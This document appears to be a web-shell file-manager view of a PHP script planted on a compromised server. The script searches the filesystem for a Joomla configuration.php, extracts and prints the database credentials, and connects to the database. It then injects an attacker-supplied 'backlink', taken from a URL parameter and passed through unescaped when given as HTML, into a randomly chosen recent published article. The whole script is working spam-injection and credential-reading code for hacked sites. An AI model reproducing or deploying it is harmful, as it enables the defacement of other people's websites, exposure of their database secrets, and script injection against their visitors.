Your IP : 216.73.217.138


Current Path : /home/fugwfrcrwy/www/
Upload File :
Current File : /home/fugwfrcrwy/www/article.php

<?php
/**
 * EDIT RANDOM JOOMLA ARTICLE FROM 10 LATEST
 * Fix: fulltext adalah reserved keyword, harus pakai backtick
 * Update: Backlink dinamis via GET parameter (?backlink=...)
 * 
 * Dapat ditempatkan di mana saja, akan mencari configuration.php
 * dengan mendeteksi document root Joomla secara otomatis
 */

error_reporting(E_ALL);
ini_set('display_errors', 1);

// === FUNGSI UNTUK MENCARI CONFIGURATION.PHP ===
function findJoomlaConfig() {
    $possiblePaths = [];
    $currentDir = __DIR__;
    $possiblePaths[] = $currentDir . '/configuration.php';
    $possiblePaths[] = dirname($currentDir) . '/configuration.php';
    
    if (isset($_SERVER['DOCUMENT_ROOT']) && !empty($_SERVER['DOCUMENT_ROOT'])) {
        $docRoot = $_SERVER['DOCUMENT_ROOT'];
        $possiblePaths[] = $docRoot . '/configuration.php';
        $commonSubdirs = ['', '/joomla', '/public', '/html', '/public_html', '/site'];
        foreach ($commonSubdirs as $subdir) {
            $possiblePaths[] = $docRoot . $subdir . '/configuration.php';
        }
    }
    
    $serverRoots = ['/var/www/html', '/var/www', '/home', '/usr/share/nginx/html'];
    foreach ($serverRoots as $root) {
        $possiblePaths[] = $root . '/configuration.php';
        $subdirs = ['', '/joomla', '/public', '/html', '/public_html', '/site'];
        foreach ($subdirs as $subdir) {
            $possiblePaths[] = $root . $subdir . '/configuration.php';
        }
    }
    
    $scriptPath = dirname($_SERVER['SCRIPT_FILENAME'] ?? '');
    if ($scriptPath) {
        $possiblePaths[] = $scriptPath . '/configuration.php';
        $possiblePaths[] = dirname($scriptPath) . '/configuration.php';
    }
    
    $dir = __DIR__;
    $maxDepth = 10;
    for ($i = 0; $i < $maxDepth; $i++) {
        if (file_exists($dir . '/configuration.php')) {
            $possiblePaths[] = $dir . '/configuration.php';
            break;
        }
        $parentDir = dirname($dir);
        if ($parentDir === $dir) break;
        $dir = $parentDir;
    }
    
    if (function_exists('glob')) {
        $searchDirs = ['/var/www', '/home', '/usr/share/nginx/html'];
        foreach ($searchDirs as $searchDir) {
            if (is_dir($searchDir)) {
                $files = glob($searchDir . '/*/configuration.php');
                if (!empty($files)) {
                    $possiblePaths = array_merge($possiblePaths, $files);
                }
            }
        }
    }
    
    $foundPaths = [];
    foreach ($possiblePaths as $path) {
        if (file_exists($path)) {
            $content = file_get_contents($path);
            if (strpos($content, 'class JConfig') !== false || 
                strpos($content, 'public $db') !== false ||
                strpos($content, '$host') !== false) {
                $foundPaths[] = $path;
            }
        }
    }
    
    $foundPaths = array_unique($foundPaths);
    
    if (!empty($foundPaths)) {
        return $foundPaths[0];
    }
    
    return false;
}

// === CARI CONFIGURATION.PHP ===
$configFile = findJoomlaConfig();

if (!$configFile) {
    die("❌ File configuration.php tidak ditemukan.\n" .
        "Pastikan script ini berada di dalam atau di sekitar direktori Joomla.\n" .
        "Directori saat ini: " . __DIR__ . "\n");
}

echo "📁 Configuration ditemukan di: " . $configFile . "\n\n";
$configContent = file_get_contents($configFile);

function extractConfigValue($content, $key) {
    $patterns = [
        '/public\s+\$' . $key . '\s*=\s*\'([^\']+)\'\s*;/',
        '/public\s+\$' . $key . '\s*=\s*"([^"]+)"\s*;/',
        '/\$' . $key . '\s*=\s*\'([^\']+)\'\s*;/',
        '/\$' . $key . '\s*=\s*"([^"]+)"\s*;/'
    ];
    
    foreach ($patterns as $pattern) {
        if (preg_match($pattern, $content, $matches)) {
            return $matches[1];
        }
    }
    return '';
}

$host = extractConfigValue($configContent, 'host');
$user = extractConfigValue($configContent, 'user');
$password = extractConfigValue($configContent, 'password');
$database = extractConfigValue($configContent, 'db');
$dbprefix = extractConfigValue($configContent, 'dbprefix');
$liveSite = extractConfigValue($configContent, 'live_site');

if (empty($host)) $host = 'localhost';
if (empty($dbprefix)) $dbprefix = 'jos_';

if (empty($user) || empty($database)) {
    die("❌ Gagal membaca konfigurasi database dari configuration.php\n" .
        "File: " . $configFile . "\n");
}

echo "📋 Konfigurasi Database:\n";
echo "   Host: " . $host . "\n";
echo "   User: " . $user . "\n";
echo "   Database: " . $database . "\n";
echo "   Prefix: " . $dbprefix . "\n\n";

// === KONEKSI KE DATABASE ===
try {
    $mysqli = new mysqli($host, $user, $password, $database);
    if ($mysqli->connect_error) {
        die("❌ Koneksi database gagal: " . $mysqli->connect_error);
    }
    $mysqli->set_charset("utf8mb4");
    echo "✅ Koneksi database berhasil!\n\n";
} catch (Exception $e) {
    die("❌ Error koneksi: " . $e->getMessage());
}

// === AMBIL PARAMETER BACKLINK DARI URL ===
if (isset($_GET['backlink']) && !empty(trim($_GET['backlink']))) {
    $rawBacklink = trim($_GET['backlink']);
} else {
    $mysqli->close();
    die("❌ Parameter 'backlink' belum diisi.\n\n" .
        "Cara penggunaan:\n" .
        "1. Masukkan URL saja  : input.php?backlink=https://contoh.com\n" .
        "2. Masukkan HTML link : input.php?backlink=" . urlencode('<a href="https://contoh.com">Klik Disini</a>') . "\n");
}

// Jika yang dimasukkan hanya URL (tidak ada tag <a>), bungkus otomatis menjadi link
if (stripos($rawBacklink, '<a ') === false && stripos($rawBacklink, '<a>') === false) {
    $safeUrl = htmlspecialchars($rawBacklink, ENT_QUOTES, 'UTF-8');
    $backlinkCode = '<p><a href="' . $safeUrl . '" target="_blank">' . $safeUrl . '</a></p>';
    $backlinkUrl = $rawBacklink;
} else {
    if (stripos($rawBacklink, '<p>') === false) {
        $backlinkCode = '<p>' . $rawBacklink . '</p>';
    } else {
        $backlinkCode = $rawBacklink;
    }
    if (preg_match('/href=["\']([^"\']+)["\']/', $rawBacklink, $urlMatches)) {
        $backlinkUrl = $urlMatches[1];
    } else {
        $backlinkUrl = $rawBacklink;
    }
}

echo "🔗 Backlink yang akan disisipkan:\n";
echo "   " . htmlspecialchars($backlinkCode) . "\n\n";

// === CARI 10 ARTIKEL TERBARU ===
$tableContent = $dbprefix . 'content';

$query = "SELECT `id`, `title`, `introtext`, `fulltext`, `created`, `catid`, `alias` 
          FROM `{$tableContent}` 
          WHERE `state` = 1 
          ORDER BY `created` DESC 
          LIMIT 10";

$result = $mysqli->query($query);

if (!$result || $result->num_rows === 0) {
    $mysqli->close();
    die("❌ Tidak ada artikel yang dipublikasikan ditemukan.");
}

echo "📝 10 ARTIKEL TERBARU DITEMUKAN\n";
echo "============================================\n";
$articles = [];
$index = 1;
while ($row = $result->fetch_object()) {
    $articles[] = $row;
    echo "{$index}. ID: {$row->id} | Judul: {$row->title} | Tanggal: {$row->created}\n";
    $index++;
}
echo "============================================\n\n";

// === PILIH SATU ARTIKEL SECARA ACAK ===
$randomIndex = array_rand($articles);
$article = $articles[$randomIndex];

echo "🎲 ARTIKEL TERPILIH SECARA ACAK\n";
echo "============================================\n";
echo "ID        : " . $article->id . "\n";
echo "Judul     : " . $article->title . "\n";
echo "Alias     : " . $article->alias . "\n";
echo "Tanggal   : " . $article->created . "\n";
echo "Cat ID    : " . $article->catid . "\n";
echo "--------------------------------------------\n";

// Cek apakah backlink sudah ada (berdasarkan URL)
$hasBacklink = false;
if (isset($article->introtext) && strpos($article->introtext, $backlinkUrl) !== false) {
    $hasBacklink = true;
    echo "⚠️  Artikel sudah memiliki URL backlink tersebut di introtext\n";
}

if (isset($article->fulltext) && strpos($article->fulltext, $backlinkUrl) !== false) {
    $hasBacklink = true;
    echo "⚠️  Artikel sudah memiliki URL backlink tersebut di fulltext\n";
}

if ($hasBacklink) {
    echo "--------------------------------------------\n";
    echo "⏭️  Melewati update karena backlink sudah ada.\n";
    echo "============================================\n";
    $mysqli->close();
    exit();
}

// === UPDATE ARTIKEL ===
$newIntrotext = $backlinkCode . $article->introtext;
$newIntrotextEscaped = $mysqli->real_escape_string($newIntrotext);

$updateQuery = "UPDATE `{$tableContent}` 
                SET `introtext` = '{$newIntrotextEscaped}' 
                WHERE `id` = {$article->id}";

if ($mysqli->query($updateQuery)) {
    echo "✅ BERHASIL! Backlink ditambahkan ke artikel.\n";
    echo "--------------------------------------------\n";
    
    echo "PREVIEW KONTEN BARU:\n";
    echo "--------------------------------------------\n";
    echo substr($newIntrotext, 0, 300) . (strlen($newIntrotext) > 300 ? '...' : '') . "\n";
    echo "--------------------------------------------\n";
    
    // === GENERATE LINK ARTIKEL ===
    $catAlias = '';
    $catQuery = "SELECT `alias` FROM `{$dbprefix}categories` WHERE `id` = {$article->catid}";
    $catResult = $mysqli->query($catQuery);
    if ($catResult && $catResult->num_rows > 0) {
        $cat = $catResult->fetch_object();
        $catAlias = $cat->alias;
    }
    
    $slug = $article->id . ':' . $article->alias;
    $catSlug = $article->catid . ':' . $catAlias;
    
    $sefUrl = "index.php?option=com_content&view=article&id=" . $slug;
    if ($catAlias) {
        $sefUrl .= "&catid=" . $catSlug;
    }
    
    $nonSefUrl = "index.php?option=com_content&view=article&id=" . $article->id;
    
    if ($liveSite) {
        $baseUrl = rtrim($liveSite, '/');
    } else {
        $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https://' : 'http://';
        $domain = $_SERVER['HTTP_HOST'] ?? 'localhost';
        $baseUrl = $protocol . $domain;
    }
    
    $fullSefUrl = $baseUrl . '/' . ltrim($sefUrl, '/');
    $fullNonSefUrl = $baseUrl . '/' . ltrim($nonSefUrl, '/');
    
    echo "\n🔗 LINK ARTIKEL YANG TELAH DIEDIT\n";
    echo "============================================\n";
    echo "📌 URL SEF (Recommended):\n";
    echo "   " . $fullSefUrl . "\n\n";
    
    echo "📌 URL Non-SEF:\n";
    echo "   " . $fullNonSefUrl . "\n\n";
    
    echo "📌 HTML Link:\n";
    echo '   <a href="' . $fullSefUrl . '" target="_blank">' . htmlspecialchars($article->title) . '</a>' . "\n";
    echo "============================================\n";
    
} else {
    echo "❌ GAGAL mengupdate artikel: " . $mysqli->error . "\n";
}

$mysqli->close();
?>